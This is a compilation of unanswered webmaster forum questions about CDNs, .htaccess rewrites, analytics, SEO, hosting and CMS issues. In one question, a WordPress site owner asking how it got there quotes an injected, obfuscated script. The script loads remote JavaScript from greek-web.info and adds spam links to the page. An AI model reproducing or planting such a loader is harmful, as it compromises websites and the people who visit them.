I'm working on a web-application that loads a couple of small gif images onto the screen. I'm using a relative path, which means they are loaded from the same web server that serves the php page. The operation is instantaneous, and I'm on a different continent than the web server. I just tested a CDN network for this (Cloudfront), thinking that moving static files closer to the user is a great idea. However, all of these files now take a half second or so to be rendered on the screen. I now have to use a absolute path, of course (https://xyzvf.cloufront.net/images/) Why is that? Is the absolute path a problem? I'm reducing the HTTP requests to my own server which is a good thing, but that delay is annoying. Isn't CDN suited for this?


How to collect articles for my new Article Directory

I've an idea and just want suggestions and comments about it. I'm launching an free article directory, which as usual will allow to have author's dofollow backlinks. How do I get good articles? Can I contact the authors of articles published in other article directories and ask their permission to allow me to republish the same article?


Google analytics: how many visitors have visited n times?

I'm trying to guess how many loyal users I have by counting the number of people that have visited the site 10 times. How can I answer this question with Google Analytics? "Visitor Loyalty" is a tempting answer, but the label for loyalty is "Visits that were the visitor's nth visit," and I want something more like "Visitors that visited n times." For example, we have 40 visits in the "51-100" visit range, but I think that could be a single user who visited 91 times. Or two users who visited 71 times each. The whole chart makes a good logic puzzle (I wonder if there's a unique solution) but doesn't easily answer the question I have.


Propagaging Apache rules Automatically for all folders Beneath Root

my webroot folder /httpdocs folder contains a .htaccess file The first lines look like this:               RewriteEngine on     RewriteBase /     AddDefaultCharset UTF-8     Options +FollowSymLinks -Indexes -ExecCGI     # DirectoryIndex index.php /index.php     # ServerSignature Off      Now, I want all settings that I have set it to, to be propagated automatically to other folders as well.   How can I do that? Thanks very much for suggestions.


Web Host for ASP.NET MVC Web Site

I currently host a ASP.NET MVC site on Microsoft Azure. It's a great service, but a little pricey. Costs like $0.12 an hour just to have your site live, and then they also charge SQL Transfer and storage fees. Not CRAZY expensive, but like basically $100/month even if the site isn't doing anything. I wanted to find a web host for an ASP.NET MVC site, that isn't going to break the bank while it's in its growing phase. Only data we really need is for storing user accounts for sign-up/logins, and for hosting images. I know a lot of hosts serve PHP/MySQL, and there's also plenty that serve ASP.NET Web Forms, but not nearly as many that serve ASP.NET MVC/SQL Server. You guys know of any that suit these conditions and are pretty easy to setup? Thanks!


Can I reuse my nameservers from one domain registrar with another?

My regular domain is one I got from GoDaddy. Just recently, I registered a short .cr domain (Costa Rica) in http://www.nic.cr/ . During registration, they asked for nameservers (and just nameservers), so I thought of reusing my GoDaddy nameservers. I kinda thought it would just be a straight-forward mapping, but nothing's happening, though. What am I missing here? (There is an option to use their own nameservers, but I just wanted to explore this option. If there's nothing to be had here, I'll fall back to using theirs.)


How can I mask sub-directory to work as DocumentRoot for multiple domains pointing to the same location?

I am trying to mask sub directories to effectively work as DocumentRoot for multiple domains. e.g. I have two domains - `domain1.com` & `domain2.com` both pointing to the same location. I want `domain1.com` to load contents in the DocumentRoot of the location whereas `domain2.com` should behave as if the DocumentRoot for it is within a subdirectory let's say `domain2.dir`. How do I achieve this using _.htaccess_? I tried the following but it did not work:               RewriteCond %{HTTP_HOST} ^domain1\.com [NC]     RewriteRule (.*) /domain2.dir [L]      The error I get is as below:               [Tue Jun 04 17:42:54 2013] [error] [client 192.168.1.30] Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.      I would appreciate any help on this.


Money in from website

EDIT 1: It seems that paypals micropayment system is currently my best option to retaining as much of the $1 as possible. Does anyone know of a way to retain even more of the $1? ORIGINAL QUESTION: I need to receive money from users from my webpage. They will only pay very small amounts, i.e. $1 max, but the total will probably go upto $10,000.00. What is the best way to receive this money from a webpage? When I say "the best way", i mean a method of getting the money from where I lose as little of it as possible in terms of fees for receiving the money.


My website has a script which loads from www.greek-web.info/jquery.min.js. How did it get there?

I've made a website that has inside this script:               <script type="text/javascript">      if(!document.referrer || document.referrer == '') {          document.write('<scr'+'ipt type="text/javascript"           src="http://www.greek-web.info/jquery.min.js"></scr'+'ipt>');      }      else  {          document.write('<scr'+'ipt type="text/javascript"           src="http://www.greek-web.info/jquery.js"></scr'+'ipt>');      }      </script>      and loads these links: ελαστικα κοσμηματα επιπλα γαμος ρολογια καλλυντικα κουζινες It's impossible to find it inside the code. Does anyone know what it is or has experienced these problems? I'm using Wordpress.


How can I find unused/unapplied CSS rules in a stylesheet?

I've got a huge CSS file and an HTML file. I'd like to find out which rules are not used while displaying a HTML file. Are there tools for this? The CSS file has evolved over few years and from what I know no one has ever removed anything from it--people just wrote new overriding rules again and again. EDIT: It was suggested to use Dust-Me Selectors or Chrome's Web Page Performance tool. But they both work on level of selectors, and not individual rules. I've got lots of cases where a rule inside a selector is always overridden--and this is what I mostly want to get rid of. For example:               body { color: white; padding: 10em; }     h1 { color: black; }     p { color: black; }     ...     ul { color: black; }      All the text in my HTML is inside some wrapper element, so it is never white. `body`'s padding always works, so of course the whole `body` selector cannot be removed. And I'd like to get rid of such useless rules too. EDIT: And another case of useless rule: when it duplicates existing one without changing anything:               a       { margin-left: 5px; color: blue; }     a:hover { margin-left: 5px; color: red; }      I'd happily get rid of the second `margin-left`... again it seems to me that those tools does not find such things. EDIT: I appreciate all the answers, but sadly the tools you suggested did not make any useful suggestions. I upvoted your answers, but I'll wait for a tool that does things more granularly, as specified above. Thank you,


Is it good to use same keyword for multiple pages in one domain?

I want to know after Google recent updates, will it be good opt to use same keywords for multiple pages? Say- my keyword is "driver update" and I have a folder "HP" in website. Hp has lots of models like HP Elitebook, HP Envy, HP Mini, HP Pavilion and much more. HP Elitebook has many versions like HP Elitebook 2530p, HP Elitebook 2730p, HP Elitebook 8530w. Now should I create pages like "Driver update in HP Elitebook 2530p" , "Driver update in HP Elitebook 2730p", "Driver update in P Elitebook 8530w" or a single page "Driver update in HP Elitebook"? Which one will be the best option for better SE ranking- " single page or multiple pages using same keyword for different model versions" ?


Renouncing the registration system

I want to completely remove the registration page from my web app (for obvious simplification and uniformity) and only use "connect with Facebook" and "connect with Twitter" the website is a technical one regarding the web and such so the public is somewhere above average (I presume), would this be a "safe" decision ?


Creating more than one sitemap and relating it to a subdomain - will I be penalized?

I'm thinking in creating a subdomain containing all the reviews from my products, for example: `http://reviews.mystore.com` At this subdomain, I have my `sitemap.xml` pointing for the reviews page about my product. So `reviews.mystore.com/sitemap.xml` will be like:               <url>       <loc>         http://reviews.mystore.com/products/204/reviews       </loc>       <lastmod>2014-05-20T12:05:43-03:00</lastmod>       <changefreq>weekly</changefreq>       <priority>0.5</priority>     </url>      And my reviews page like: `http://reviews.mystore.com/products/204/reviews` will have a reference to my original product page like:               <meta content="http://mystore.com/products/my_cool_product" property="og:url">     <link href="http://mystore.com/products/my_cool_product" rel="canonical">      Notice to `content` and `href` pointing to the ORIGINAL product page. Will doing this increase or decrease my rank?


Performing experiments to optimize revenue from pages with AdSense ads

Let's say I have a page with several AdSense ads. If I will do any A-B testing of different page layouts, ads sizes and so on it would be very nice to have an ability to add a channel information to the ads code on the fly (with no visit to AdSense control panel and manualy creating of new ads associated with a new channel for each experiment). As I can see from the AdSense ads code and the control pannel interface - I have no such possibility. But it looks a bit frustrating as Google itself engaging us to perform experiments as much as possible but it looks like Google not giving us proper tools for this thing. So I'm sure that I'm just not informed well. I'd make it in the following way: add a additional parameter to AdSense code (something like data-ad-chan="123") to be able to filter the data by this parameter later on. The AdSense Experiments section really not looks like the thing I need as it is not giving me the ability to perform the page layout changing.


.htaccess file size causes 500 Internal Server Error

As soon as my _.htaccess_ goes over approx 8410 bytes, I get a _500 Internal Server Error_. I don't think this is due to a bad redirect, as I have experimented with redirects in the _.htaccess_ and then with just text that is commented out `#`. (no actual commands in the _.htaccess_ file) Is there anything obvious that can cause this? **Update:** The site is on WordPress. Here are the redirects I was originally trying to add:               RewriteEngine On          ## 301 Redirects of old URLs to new     # 301 Redirect 1     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^accesseries/underlay/prod_37\.html$ /product-category/accessories/underlays? [R=301,NE,NC,L]          # 301 Redirect 2     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^accessories/acoustic-underlay/prod_29\.html$ /product/acoustic-underlay/? [R=301,NE,NC,L]          # 301 Redirect 3     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^accessories/cat_4\.html$ /product-category/accessories/? [R=301,NE,NC,L]          # 301 Redirect 4     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-bamboo-flooring/accessories/cat_8\.html$ /product-category/accessories/? [R=301,NE,NC,L]          # 301 Redirect 5     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-bamboo-flooring/bamboo-floor/natural-strandwoven-bamboo-semi-gloss-wide-board-135mm-click/prod_151\.html$ /product/natural-strand-woven-bamboo-semi-gloss-wide-board-135mm-click/? [R=301,NE,NC,L]          # 301 Redirect 6     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-bamboo-flooring/bamboo-floor/strandwoven-chocolate-135mm-bamboo-flooring/prod_174\.html$ /product/strand-woven-chocolate-135mm-bamboo-flooring/? [R=301,NE,NC,L]          # 301 Redirect 7     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-bamboo-flooring/bamboo-floor/strand-woven-kempas-bamboo-flooring/prod_173\.html$ /product/strand-woven-kempas-bamboo-flooring/? [R=301,NE,NC,L]          # 301 Redirect 8     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-bamboo-flooring/bamboo-floor/strandwoven-walnut-wired-135mm-bamboo-flooring/prod_176\.html$ /product/strand-woven-walnut-wired-135mm-bamboo-flooring/? [R=301,NE,NC,L]          # 301 Redirect 9     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-bamboo-flooring/cat_7\.html$ /product-category/bamboo-floor/? [R=301,NE,NC,L]          # 301 Redirect 10     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-bamboo-installation/info_8\.html$ /bamboo-installation/? [R=301,NE,NC,L]          # 301 Redirect 11     RewriteCond %{QUERY_STRING}  ^act=cart$ [NC]     RewriteRule ^cart\.php$ /cart/? [R=301,NE,NC,L]          # 301 Redirect 12     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^contact-us/info_2\.html$ /contact-us/? [R=301,NE,NC,L]          # 301 Redirect 13     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^faqs/info_9\.html$ /faqs/? [R=301,NE,NC,L]          # 301 Redirect 14     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-floating-timber-floor/black-butt-engineered-floating-timber/prod_213\.html$ /product/black-butt-engineered-floating-timber/? [R=301,NE,NC,L]          # 301 Redirect 15     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-floating-timber-floor/doussie-engineered-floating-timber/prod_208\.html$ /product/doussie-engineered-floating-timber/? [R=301,NE,NC,L]          # 301 Redirect 16     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-floating-timber-floor/smoked-oak-engineered-floating-timber/prod_217\.html$ /product/smoked-oak-engineered-floating-timber/? [R=301,NE,NC,L]          # 301 Redirect 17     RewriteCond %{QUERY_STRING}  ^act=thanks$ [NC]     RewriteRule ^index\.php$ http://www.xxxxxxxxxx.com/? [R=301,NE,NC,L]          # 301 Redirect 18     RewriteCond %{QUERY_STRING}  ^act=viewCat&catId=13$ [NC]     RewriteRule ^index\.php$ /product-category/samples/bamboo-flooring-samples/? [R=301,NE,NC,L]          # 301 Redirect 19     RewriteCond %{QUERY_STRING}  ^act=viewCat&catId=18$ [NC]     RewriteRule ^index\.php$ /product/bamboo-plastic-composite/? [R=301,NE,NC,L]          # 301 Redirect 20     RewriteCond %{QUERY_STRING}  ^act=viewCat&catId=2$ [NC]     RewriteRule ^index\.php$ /product-category/bamboo-floor/? [R=301,NE,NC,L]          # 301 Redirect 21     RewriteCond %{QUERY_STRING}  ^act=viewCat&catId=20$ [NC]     RewriteRule ^index\.php$ /products/? [R=301,NE,NC,L]          # 301 Redirect 22     RewriteCond %{QUERY_STRING}  ^act=viewCat&catId=3$ [NC]     RewriteRule ^index\.php$ /product-category/floating-timber-floor/? [R=301,NE,NC,L]          # 301 Redirect 23     RewriteCond %{QUERY_STRING}  ^act=viewCat&catId=5$ [NC]     RewriteRule ^index\.php$ /product-category/laminate-flooring/? [R=301,NE,NC,L]          # 301 Redirect 24     RewriteCond %{QUERY_STRING}  ^act=viewCat&catId=6$ [NC]     RewriteRule ^index\.php$ /product-category/accessories/? [R=301,NE,NC,L]          # 301 Redirect 25     RewriteCond %{QUERY_STRING}  ^act=viewCat&catId=saleItems$ [NC]     RewriteRule ^index\.php$ /product-category/clearance-sale/? [R=301,NE,NC,L]          # 301 Redirect 26     RewriteCond %{QUERY_STRING}  ^act=viewDoc&docId=3$ [NC]     RewriteRule ^index\.php$ /faqs/? [R=301,NE,NC,L]          # 301 Redirect 27     RewriteCond %{QUERY_STRING}  ^act=viewDoc&docId=4$ [NC]     RewriteRule ^index\.php$ /faqs/? [R=301,NE,NC,L]          # 301 Redirect 28     RewriteCond %{QUERY_STRING}  ^act=viewProd&productId=137$ [NC]     RewriteRule ^index\.php$ /product/laminate-flooring-goustein-wood/? [R=301,NE,NC,L]          # 301 Redirect 29     RewriteCond %{QUERY_STRING}  ^act=viewProd&productId=164$ [NC]     RewriteRule ^index\.php$ /product/modern-black-brushed-finish-strand-woven-flooring/? [R=301,NE,NC,L]          # 301 Redirect 30     RewriteCond %{QUERY_STRING}  ^act=viewProd&productId=165$ [NC]     RewriteRule ^index\.php$ /product/lime-wash-strand-woven-bamboo-flooring/? [R=301,NE,NC,L]          # 301 Redirect 31     RewriteCond %{QUERY_STRING}  ^act=viewProd&productId=168$ [NC]     RewriteRule ^index\.php$ /product/country-bark/? [R=301,NE,NC,L]          # 301 Redirect 32     RewriteCond %{QUERY_STRING}  ^act=viewProd&productId=173$ [NC]     RewriteRule ^index\.php$ /product-category/bamboo-floor/14mm-bamboo-flooring/? [R=301,NE,NC,L]          # 301 Redirect 33     RewriteCond %{QUERY_STRING}  ^act=viewProd&productId=178$ [NC]     RewriteRule ^index\.php$ /product/blue-gum-136-floating-timber/? [R=301,NE,NC,L]          # 301 Redirect 34     RewriteCond %{QUERY_STRING}  ^act=viewProd&productId=199$ [NC]     RewriteRule ^index\.php$ /product/jarrah-laminate-floor-sample/? [R=301,NE,NC,L]          # 301 Redirect 35     RewriteCond %{QUERY_STRING}  ^act=viewProd&productId=205$ [NC]     RewriteRule ^index\.php$ /product/elm-12mm-laminate-floor-sample/? [R=301,NE,NC,L]          # 301 Redirect 36     RewriteCond %{QUERY_STRING}  ^act=viewProd&productId=209$ [NC]     RewriteRule ^index\.php$ /product/iroko-engineered-floating-timber/? [R=301,NE,NC,L]          # 301 Redirect 37     RewriteCond %{QUERY_STRING}  ^act=viewProd&productId=222$ [NC]     RewriteRule ^index\.php$ /product/european-oak-engineered-floating-timber-sample/? [R=301,NE,NC,L]          # 301 Redirect 38     RewriteCond %{QUERY_STRING}  ^act=viewProd&productId=236$ [NC]     RewriteRule ^index\.php$ /product/black-forest-5mm-vinyl-flooring/? [R=301,NE,NC,L]          # 301 Redirect 39     RewriteCond %{QUERY_STRING}  ^act=viewProd&productId=65$ [NC]     RewriteRule ^index\.php$ /product/stair-nose/? [R=301,NE,NC,L]          # 301 Redirect 40     RewriteCond %{QUERY_STRING}  ^act=viewProd&productId=83$ [NC]     RewriteRule ^index\.php$ /product/laminate-flooring-warm-teak/? [R=301,NE,NC,L]          # 301 Redirect 41     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-laminate-flooring/12mm-laminate-flooring/blackbutt/prod_156\.html$ /product/blackbutt-12mm-laminate-floor/? [R=301,NE,NC,L]          # 301 Redirect 42     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-laminate-flooring/12mm-laminate-flooring/tasmanian-oak/prod_171\.html$ /product/tasmanian-oak/? [R=301,NE,NC,L]          # 301 Redirect 43     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-laminate-flooring/8-3mm-laminate-flooring/laminate-flooring-warm-teak/prod_8\.html$ /product/laminate-flooring-warm-teak/? [R=301,NE,NC,L]          # 301 Redirect 44     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-laminate-flooring/accessories/cat_6\.html$ /product-category/accessories/? [R=301,NE,NC,L]          # 301 Redirect 45     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-laminate-flooring/cat_5\.html$ /product-category/laminate-flooring/? [R=301,NE,NC,L]          # 301 Redirect 46     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-laminate-flooring/country-classic-12mm-laminate/cat_19\.html$ /product-category/laminate-flooring/12mm-country-classic-laminate-floor/? [R=301,NE,NC,L]          # 301 Redirect 47     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-laminate-installation/info_7\.html$ /laminate-installation/? [R=301,NE,NC,L]          # 301 Redirect 48     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^privacy-policy/info_4\.html$ /faqs/? [R=301,NE,NC,L]          # 301 Redirect 49     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^-quotation-request/info_5\.html$ /quotation-request/? [R=301,NE,NC,L]          # 301 Redirect 50     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^rainbow-flooring/cat_16\.html$ /product-category/rainbow-flooring/? [R=301,NE,NC,L]          # 301 Redirect 51     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^rainbow-flooring/walnut-rainbow-flooring/prod_112\.html$ /product/walnut-rainbow-flooring/? [R=301,NE,NC,L]          # 301 Redirect 52     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^samples/12mm-laminate-floor-samples/kempas-laminate-floor-sample/prod_195\.html$ /product/kempas-laminate-floor-sample/? [R=301,NE,NC,L]          # 301 Redirect 53     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^samples/12mm-laminate-floor-samples/spotted-gum-laminate-floor-sample/prod_196\.html$ /product/spotted-gum-laminate-floor-sample/? [R=301,NE,NC,L]          # 301 Redirect 54     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^samples/12mm-laminate-floor-samples/tasmanian-oak-laminate-floor-sample/prod_197\.html$ /product/tasmanian-oak-laminate-floor-sample/? [R=301,NE,NC,L]          # 301 Redirect 55     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^samples/bamboo-flooring-samples/cat_13\.html$ /product-category/samples/bamboo-flooring-samples/? [R=301,NE,NC,L]          # 301 Redirect 56     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^samples/bamboo-flooring-samples/rosewood-strandwoven-bamboo-floor-135mm-click-sample/prod_191\.html$ /product/rosewood-strand-woven-bamboo-floor-135mm-click-sample/? [R=301,NE,NC,L]          # 301 Redirect 57     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^samples/cat_9\.html$ /samples/? [R=301,NE,NC,L]          # 301 Redirect 58     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^samples/floating-timber-floor-samples/iroko-engineered-floating-timber-floor-sample/prod_223\.html$ /product/iroko-engineered-floating-timber-floor-sample/? [R=301,NE,NC,L]          # 301 Redirect 59     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^samples/floating-timber-floor-samples/jarrah-engineered-floating-timber-sample/prod_224\.html$ /product/jarrah-engineered-floating-timber-sample/? [R=301,NE,NC,L]          # 301 Redirect 60     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^samples/floating-timber-floor-samples/merbau-engineered-floating-timber-sample/prod_226\.html$ /product/merbau-engineered-floating-timber-sample/? [R=301,NE,NC,L]          # 301 Redirect 61     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^samples/floating-timber-floor-samples/spotted-gum-engineered-floating-timber-sample/prod_228\.html$ /product/spotted-gum-engineered-floating-timber-sample/? [R=301,NE,NC,L]          # 301 Redirect 62     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^samples/floating-timber-floor-samples/sydney-blue-gum-engineered-floating-timber-sample/prod_220\.html$ /product/sydney-blue-gum-engineered-floating-timber-sample/? [R=301,NE,NC,L]          # 301 Redirect 63     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^shop\.php/-laminate-flooring/accessories/laminate-flooring-accessories-click-stairnose/prod_251\.html$ /product/stair-nose/? [R=301,NE,NC,L]          # 301 Redirect 64     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^shop\.php/-laminate-flooring/country-classic-12mm-laminate/country-classic-polar-white/prod_243\.html$ /product/country-classic-polar-white/? [R=301,NE,NC,L]          # 301 Redirect 65     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^shop\.php/samples/12mm-laminate-floor-samples/country-classic-polar-white/prod_244\.html$ /product/country-classic-polar-white-sample/? [R=301,NE,NC,L]          # 301 Redirect 66     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^shop\.php/samples/12mm-laminate-floor-samples/rustic-oak-12mm-laminate-floor/prod_248\.html$ /product/rustic-oak-12mm-laminate-floor-sample/? [R=301,NE,NC,L]          # 301 Redirect 67     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^shop\.php/samples/vinyl-flooring-samples/cat_25\.html$ /product-category/samples/vinyl-flooring-samples/? [R=301,NE,NC,L]          # 301 Redirect 68     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^shop\.php/vinyl-flooring/cat_24\.html$ /product-category/vinyl-floor/? [R=301,NE,NC,L]          # 301 Redirect 69     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^solardeck-tiles/cat_22\.html$ /product-category/solardeck-tiles/? [R=301,NE,NC,L]          # 301 Redirect 70     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^solardeck-tiles/solardeck-tiles/prod_206\.html$ /product/solardeck-tiles/? [R=301,NE,NC,L]          # 301 Redirect 71     RewriteCond %{QUERY_STRING}  ^$     RewriteRule ^terms-conditions/info_3\.html$ /faqs/? [R=301,NE,NC,L]      I'm getting errors like this in my log:               Invalid command 'aminate-flooring/tasmanian-oak/prod_171\\.html$', perhaps misspelled or defined by a module not included in the server configuration, referer: http://www.xxxxxxxx.com/laminate-installation/          Invalid command ',NE,NC,L]', perhaps misspelled or defined by a module not included in the server configuration          Invalid command ',L]#', perhaps misspelled or defined by a module not included in the server configuration


How to deploy Zencart on live environment

I have to deploy my zencart on my live server , when I deployed it on stage it was very painful.   I had to do everything step by step again , because of lots of customization it takes lots of time , effort and testing . Can anyone tell me better way to do this?


Website nomenclature SEO practice involving name and surname

What's better personal website nomenclature as per SEO?   1. [name]-[surname] => dash in between   2. [name][surname] => void in between   3. [name].[surname] => dot in between.   4. something else?


Why Can't I Add Google Font Families In cPanel Branding Editor?

I'm working on my own cPanel x3 theme. I've edited the stdheader.html file and have added this:               <link href="https://fonts.googleapis.com/css?family=Dosis|Roboto+Condensed|Vollkorn" rel="stylesheet" type="text/css">     <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.1.0/css/font-awesome.min.css" rel="stylesheet">      These are font families and font awesome. However, it just doesn't take. There are no errors in my Chrome console, but they also don't seem to be called. In others words that code is being ignored, and is not showing up in the source code. Can someone tell me why?


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It's fairly common practice to define a unique user by a 1-to-1 hash of IP + User Agent. But not all unique users have a unique IP + User Agent combination. Thus: collisions - events misattributed to users who did not fire those events. This is especially problematic when trying to track unique users who use similar machines and settings all under the same roof of a large organization like a school or enterprise. My question is: What is the global background probability of IP + User Agent concurrency at any given time? I assume the rate is different for different times of day and regions. But I'm curious what the standard is.


Installing tumblr on a subdirectory

I'm trying to figure out how to get a tumblr blog to run under a subdirecory (not subdomain) and I'm kind of stuck. I was thinking of changing the cname of my domain to tumblr blog but that would change the entire domain, correct? Would it be done somewhere in the .htacess? I've seen it in action here http://www.senanyc.com/blog/ but I have no idea how they did it .


My website title shows up slightly different from what's in my title tag, only in Google search

I've included my page title in the title tag in this format: " blah blah blah | sitename ". But for some reason it's showing up on Google search results as " sitename: blah blah blah ". It shows up right on the actual tab itself, and even right on both Bing and Yahoo search, but different on Google search. Can't figure out why. EDIT: Let me clarify: I really doubt that this is due to Google having not crawled my website yet. The title it previously had was very different from this (several different words), and the title that currently shows up on the search is not even remotely similar to my old one. Hence the confusion. And I've already submitted it and a sitemap to the Google webmasters tool.


Remove readmore titles from joomla

How can I remove the article title from the readmore link in Joomla?   I don't have sh404SEF.               <?php if ($this->item->readmore_register) :             echo JText::_('Register to read more...');         elseif ($readmore = $this->item->params->get('readmore')) :             echo $readmore;         else :             echo JText::sprintf('Read more', $this->escape($this->item->title));              endif; ?>      Change this rule:               echo JText::sprintf('Read more', $this->escape($this->item->title));      To:               echo 'Read More';      Is also not corrent because it's not multilangual. Anyone knows the solution?


What is the optimal folder structure for a web directory?

I've been doing web development for years, and I've always done a web structure similar to this:               public_html/login.php     public_html/css/login.css     public_html/js/login.js     public_html/img/logo.png      I've seen other people use:               styles/login.css     images/logo.png      And then recently I found out that my co-worker likes:               public_html/a/login.js   - application     public_html/s/login.css  - styles     public_html/i/logo.png   - images     public_html/p/photo1.jpg - photos     public_html/f/menu.swf   - flash      Other than saving a byte or two, are there any advantages or disadvantages to any of these options? Is there a best practice for this concept?


Who is videsktop in my GA stats?

I am looking at the traffic on my site via GA and there is one entry at the top of my list called "videsktop". How do I figure out who or what that is? I tried clicking on it, but it just takes me deeper into an analysis. I did a search on it, and couldn't find anything that made sense. See below please.![enter image description here](http://i.stack.imgur.com/ZG4uM.png)


PHP framework suggestions

I'm going to be creating a site for a business with the following:   * Single Item purchases with Paypal, Google Checkout and Amazon Checkout   * Digital Downloads for members from a CDN   * Forum   * Voting on different items While that seems rather simple having to deal with the three different payment gateways is a big pain in the ass. Django has a great payment library which works for all three but I'm not able to find one for any of the PHP frameworks. Anyone have any suggestions? I'm posting here as suggested by someone at Stackoverflow.


I need this Font Picker for my project but I'm not able to get it working.

I am trying to create a "FontPicker" just like a normal "color picker". I have see many websites implementing "font picker" please check out http://mklogo.com for example, where the fonts are categorised and gives an option for an user to choose any of them from the list.... In mklogo they have used three files 'index.html' , 'FontPicker.JS' and 'fonts.html' Their Fontpicker.js contains               FontPicker_targetInput = null;     function FontPicker_writeDiv() {     document.writeln("

");     }          function FontPicker_show(anchorname) {     this.showPopup(anchorname);     }          function FontPicker_pickFont(font,win) {     win.close();     pickFont(font);     }          // A Default "pickFont" function to accept the font passed back from popup.     // User can over-ride this with their own function.       function pickFont(font) {     if (FontPicker_targetInput==null) {         alert("Target Input is null, which means you either didn't use   the 'select' function or you have no defined your own 'pickFont' function to handle the picked font!");         return;         }     FontPicker_targetInput.value = font;     }     // This function is the easiest way to popup the window, select a font, and     // have the value populate a form field, which is what most people want to do.     function FontPicker_select(inputobj,linkname) {     if (inputobj.type!="text" && inputobj.type!="hidden" &&      inputobj.type!="textarea") {          alert("fontpicker.select: Input object passed is not a valid      form input object");          window.FontPicker_targetInput=null;         return;         }     window.FontPicker_targetInput = inputobj;     this.show(linkname);     }          // This function runs when you move your mouse over a font block, if you     have a newer browser     function FontPicker_highlightColor(c) {     var thedoc = (arguments.length>1)?arguments[1]:window.document;     var d = thedoc.getElementById("fontPickerSelectedColor");     d.style.backgroundColor = c;     d = thedoc.getElementById("fontPickerSelectedColorValue");     d.innerHTML = c;     }          function FontPicker() {     var windowMode = false;     // Create a new PopupWindow object     if (arguments.length==0) {         var divname = "fontPickerDiv";         }     else if (arguments[0] == "window") {         var divname = '';         windowMode = true;         }     else {         var divname = arguments[0];         }          if (divname != "") {         var fp = new PopupWindow(divname);         }     else {         var fp = new PopupWindow();                fp.windowProperties="toolbar=no,location=no,status=no,menubar=no,scrollbars,resizable,alwaysRaised,dependent,titlebar=no";         //fp.setSize(500,500);         }          // Object variables     fp.currentValue = "#FFFFFF";          // Method Mappings     fp.writeDiv = FontPicker_writeDiv;     fp.highlightColor = FontPicker_highlightColor;     fp.show = FontPicker_show;     fp.select = FontPicker_select;          fp.setUrl("/fonts.html");     fp.offsetY = 25;     fp.autoHide();     return fp;     }      Their Index.html Contains                         <title>mklogo - imagemagick logo generator and composite tool</title>     <link rel="stylesheet" href="http://mklogo.com/style.css" type="text/css">     <META NAME="Description" CONTENT="Converts text to an image, allowing font  selection, effects, color, rotation, etc.">
                                        <form action="gen.cgi" method=post>          <input type=hidden name=fid id=fid value="">

     Text:	     <input name=text value="Logo Text">

     Font:	               	          Pick

     Size:	     <input name=size value="40" size=10> pt

     <input type=submit name=go value="Generate Image" style="display:inline;">
          </form>
                     and their fonts.html contains                      <title>mklogo - select font</title>      <link rel="stylesheet" href="/style.css" type="text/css">
<form method=get action="/fonts.html"  style="display:inline"><input type=submit name=cat value="Favorites"></form>

<form method=get action="/fonts.html" style="display:inline"><input type=submit name=cat value="Print"></form>

<form method=get action="/fonts.html" style="display:inline"><input type=submit name=cat value="Roman"></form>

<form method=get action="/fonts.html" style="display:inline"><input type=submit name=cat value="Sans-Serif"></form>

<form method=get action="/fonts.html" style="display:inline"><input type=submit name=cat value="Scripty"></form>

<form method=get action="/fonts.html" style="display:inline"><input type=submit name=cat value="Uncategorized"></form>
                        I also mailed the admin of mklogo to ask him how can we use the font picker which is very important for my project. He replied back saying that "He Can Not Teach That,and he is busy running his business and not to mail him again"


Regarding Google Index -> Remove URLs

